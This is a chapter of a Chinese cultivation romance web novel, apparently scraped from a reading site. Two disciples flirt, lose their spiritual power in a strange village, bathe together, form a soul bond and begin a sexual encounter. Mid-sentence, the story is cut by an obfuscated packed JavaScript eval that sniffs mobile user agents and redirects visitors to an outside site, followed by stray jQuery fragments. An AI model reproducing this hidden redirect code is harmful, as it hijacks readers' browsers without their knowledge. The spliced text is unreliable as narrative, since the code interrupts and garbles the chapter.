默认冷灰
24号文字
方正启体

10. 私心

作者:杳杳秋风凛本书字数:K更新时间:
    朱暮不以为然地笑了一声,忽然向坐在地上的闻飞卿伸出手,淡声道:


    “不回宗门了?”


    闻飞卿眸光稍顿半息,抬起手覆上朱暮掌心,笑着回应:


    “师父让我找回道心再回去。”


    朱暮佯装思索模样,长叹出一口气。


    闻飞卿看出朱暮有些为难,也不愿让她为自己忤逆徐无夷,摇头说着:


    “我的修为还未恢复,留在鼎内养伤再好不过,师妹可先行一步。”


    朱暮听后愤然将闻飞卿拉出了归元鼎,随即把鼎收入乾坤袋。


    “句余还在里面。”


    “让它在里面修炼不好吗?还是说你特别想进去陪它?”


    闻飞卿语塞,视线渐渐往下移动,最终停在朱暮手上。


    他都不知道是第几次被她牵着了,只知道这只手很温暖,温暖到让他舍不得松手。


    “闻飞卿,你就这么怕师父?”


    闻飞卿抬头对上朱暮的目光,轻声反问:


    “师妹觉得我很怕师父?”


    朱暮用左手掐起诀来,装作若无其事的样子问:


    “那你为何不敢回宗门?”


    “我还未找回道心。”


    竟又被闻飞卿绕了回来,朱暮撇了撇嘴,心中生出不满。


    “你之前的道心是什么?”


    “忘了,所以在找。”


    “道心都能忘?你别修仙了,找堵墙撞死得了。”


    朱暮意识到自己说的话有些过分,于是自责地补充道:


    “我的意思是忘了就忘了,重新找个不就得了?为何非得要原来那一个。”


    闻飞卿恍然大悟,认同地点了点头。


    “师妹所言极是。”


    朱暮见闻飞卿终于想开,不由得感叹:


    “我师兄可真是世上最笨最傻的剑修。”


    竟连这么浅显的道理都要想上半天,简直是在辱没修士之名。


    闻飞卿低下头,噙着泪央求:


    “师妹可否将话收回?”


    朱暮听后不禁噗嗤大笑起来,泪也毫无预兆地从眼角溢出。


    “话怎么收回来?傻子。”


    闻飞卿在听见朱暮对他的称呼转为“傻子”时,嘴角下意识地疯狂下垂。


    “师妹若是觉得我蠢笨不堪,便先行离去吧。”


    朱暮愕然停住笑声,顿时不知所措,只能连声哄道:


    “我师兄可是世上最为温柔体贴之人,哪里蠢笨了?”


    她特意将这句话又重复了一遍,看到闻飞卿露出笑容才松了口气。


    还好她够机智,不然闻飞卿又要伤心欲绝了。


    “师兄,你能答应我一件事吗?”


    “何事?”


    “你以后能不能别动不动就哭鼻子?”


    “师妹是觉得我丢人?”


    朱暮回想着闻飞卿落泪的模样,竟忽觉他哭得有种梨花带雨的美感。


    “也不全是。”


    闻飞卿木讷点头,语气稍显苦闷地开口:


    “原来师妹心里还是觉得我丢人。


    朱暮瞬间如芒在背,急声大喊:


    “闻飞卿!别曲解我的意思。”


    她明明只是想让闻飞卿以后多笑笑,别再伤心难过而已。


    可就是嘴笨了些,一开口意思全变了。


    正当她心灰意冷之际,竟听见闻飞卿柔声细语道:


    “其实……我知晓师妹的心意。”


    朱暮的心一乱,阵法也跟着乱了。


    下一瞬,他们竟来到了一个村庄之中,她本想再施展一个传送法阵,却是力不从心。


    “师兄,我的灵力使不出来了。”


    闻飞卿听后试着运转灵力,却发现自己也使不出来。


    “这村子有古怪。”


    闻飞卿鼓起勇气去牵朱暮的手,沉声说:


    “眼下也只能走一步看一步了。”


    朱暮牵惯了闻飞卿的手,可被他牵着的时候却是少之又少,不免心慌意乱。


    “师妹,柘河底下有些什么?”


    “啊?”


    突如其来的一问让朱暮不明所以,她惊讶地皱起眉头,庆幸道:


    “还好我穿的是红衣。”


    闻飞卿眸光微暗,扯出一个笑意极淡的笑容。


    “即便是身穿红衣,也能看见血迹。”


    朱暮垂下头,提起衣裙下摆反复确认,心虚道:


    “很显目吗?”


    她本想使用除尘术,却想起灵力暂失之事,只能无能为力地看着满身血污。


    “师兄,我有些不太舒服。”


    闻飞卿一改往日镇定模样,眉头逐渐拧成一团,心慌到了极点。


    总不能让朱暮去河边沐浴吧?


    闻飞卿立刻加快脚步,头也不回地往一处院落走去。


    “此处年久失修,想来是无人居住。”


    朱暮微狭着双眸盯着闻飞卿,浅笑发问:


    “师兄,我们这算不算私闯民宅?”


    闻飞卿别过脸去,低声解释:


    “事急从权。”


    话落,他开始忙活起来。


    一个时辰后,清洗干净的浴桶内被倒满热水。


    闻飞卿准备待在门外替朱暮把风,却被她一把拽了进去。


    门栓合上的响声刺激着闻飞卿的思绪,他转过身,支支吾吾说:


    “师妹,你我并未结为道侣,不该如此。”


    朱暮掩面偷笑,拍了下闻飞卿的肩头。


    “如此……不好吗?”


    闻飞卿没想明白究竟好在哪里,但也不敢回头去看朱暮的眼睛。


    朱暮见说不动闻飞卿,便利落地脱下满是血污的衣裳。


    窸窸窣窣的解衣声响起,闻飞卿的脸瞬间红透,连一个字都说不出来。


    “师兄,你不一起洗吗?”


    闻飞卿倒吸一口凉气,语重心长道:


    “师妹,除却自身道侣外,不可与他人同浴。”


    朱暮趴在浴桶边望向闻飞卿的后背,略显抱怨地问:


    “说来说去不就是在怪我未同你结神魂契?”


    “我不是……”


    话到嘴边硬是说不下去。


    闻飞卿攥紧手心,目光坚定地反问道:


    “师妹,你可愿同我缔结神魂契?”


    转折来得太快,朱暮都险些反应不过来,她抬手拨起水纹,漫不经心地开口:


    “你若想结契,也不是不行。”


    闻飞卿神色慌张,腿愣是迈不开一步。


    倘若错过这次结契机会,还会有下次吗?


    应该不会再有了吧……


    可趁人之危的事他是断然做不出来的,他终是因腿脚发软而跪坐在了地上。


    “师兄,你可要想清楚些。”


    闻飞卿才坚定的信念又开始摇摆不定,他颤抖着起身走向朱暮,可还未靠近便被一股吸力抓去。


    “你能运转灵力?”


    “也许是师兄带来的好运让我的灵力恢复了。”


    闻飞卿思忖片刻,得出结论:


    朱暮原本


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394988|200368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是阵修,对付这种压制灵力的阵法想来也是绰绰有余,兴许早在他们还未进入这间屋子时,她就已经恢复了。


    不过半息,他身上的衣服就都已经被她用术法变走。


    二人此刻连一件单衣都未隔。


    水雾霎那间弥漫闻飞卿眼底,挑逗着他所有的肌肤,然后指引他往下看去。


    但他还未来得及低头,一个小心翼翼的吻便凑了上来。


    “师妹,神魂契……”


    “小心眼。”


    朱暮抵住闻飞卿的额头,一点点地深入他的识海之中,二人的识海开始互相渗透,中央处凝起了一个印记,在交融下逐渐凝实。


    朱暮在印记凝实后退出了闻飞卿的识海,懵懂发问:


    “接下来要试试神交吗?”


    她连吻都是无师自通,又哪会什么神交?


    之所以这么问,也只是不想在闻飞卿面前露怯罢了。


    “可以。”


    闻飞卿竟来了这么一句,还一动不动地等着她来,实在欺人太甚。


    朱暮忍着怒意,挪动起身子凑近闻飞卿,稍稍一跨便来到了他腰侧。


    “神交有何乐趣?不如试试交欢?”


    “交欢?”


    闻飞卿垂下眼睫,微微摇起了头。


    “师妹显然并不懂男欢女爱。”


    “只要你情我愿,不就可以吗?”


    “道侣之间须得互相倾慕、真心相付,可师妹你并不懂情爱。我若是真应下你的话,来日你后悔之时,我又该如何自处?”


    朱暮不为所动,轻声埋怨:


    “为何现下才提?”


    闻飞卿发自内心地扬起一个灿烂笑容,豁然笑道:


    “只因我对师妹存有见不得人的私心。”


    “私心?”


    “我想将师妹据为己有,却也怕追得太快太紧而惹你厌烦。”


    朱暮似乎有所触动,俯下身去吻闻飞卿的眼尾,声音也与往常大不相同,多添了一分温柔。


    “不问问我对你是何心意?”


    彼此早已心知肚明的答案又有什么好问的呢?


    “师妹对我是何心意?”


    不料闻飞卿竟真问了,还一脸期待地盯着她。


    她只好硬着头皮回答:


    “初次见你时,我从你身上嗅出了一丝苦味,这苦味很重,就连你的茶也深受其害。”


    闻飞卿不免想起朱暮被茶水苦到的神情,顿时愧疚不已。


    他轻点着头,示意她继续说下去。


    “但你很会哭,要知道我最讨厌见人哭了,可见你哭时我却生出了几分欢喜。”


    闻飞卿靠在朱暮肩上,轻蹭着她的脖颈。


    “我哭起来你会心疼,对吗?”


    朱暮竟觉闻飞卿的声音开始蛊人起来,颤颤巍巍地环抱住他的腰身,一字一顿道:


    “大抵……会心疼吧。”


    闻飞卿仍不知足,缓声追问:


    “还有呢?”


    朱暮会不到闻飞卿的意,又继续说着之前未说完的话。


    “我独赴浑夕潭那刻,心里想的不是其中凶险几分,而是怕自己拿不到无垠液。当时也问过自己为何会这般在意你,但我的心并没有告诉我答案,而是让我不遗余力地去寻。”


    沧海桑田,万事变迁。


    只要活着,应该都能寻到想要的答案吧。


    “所以寻到了吗?”


    朱暮加重了力道,把闻飞卿箍得更紧,低声喃道:


    “有些问题本就无解,又何须去寻?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)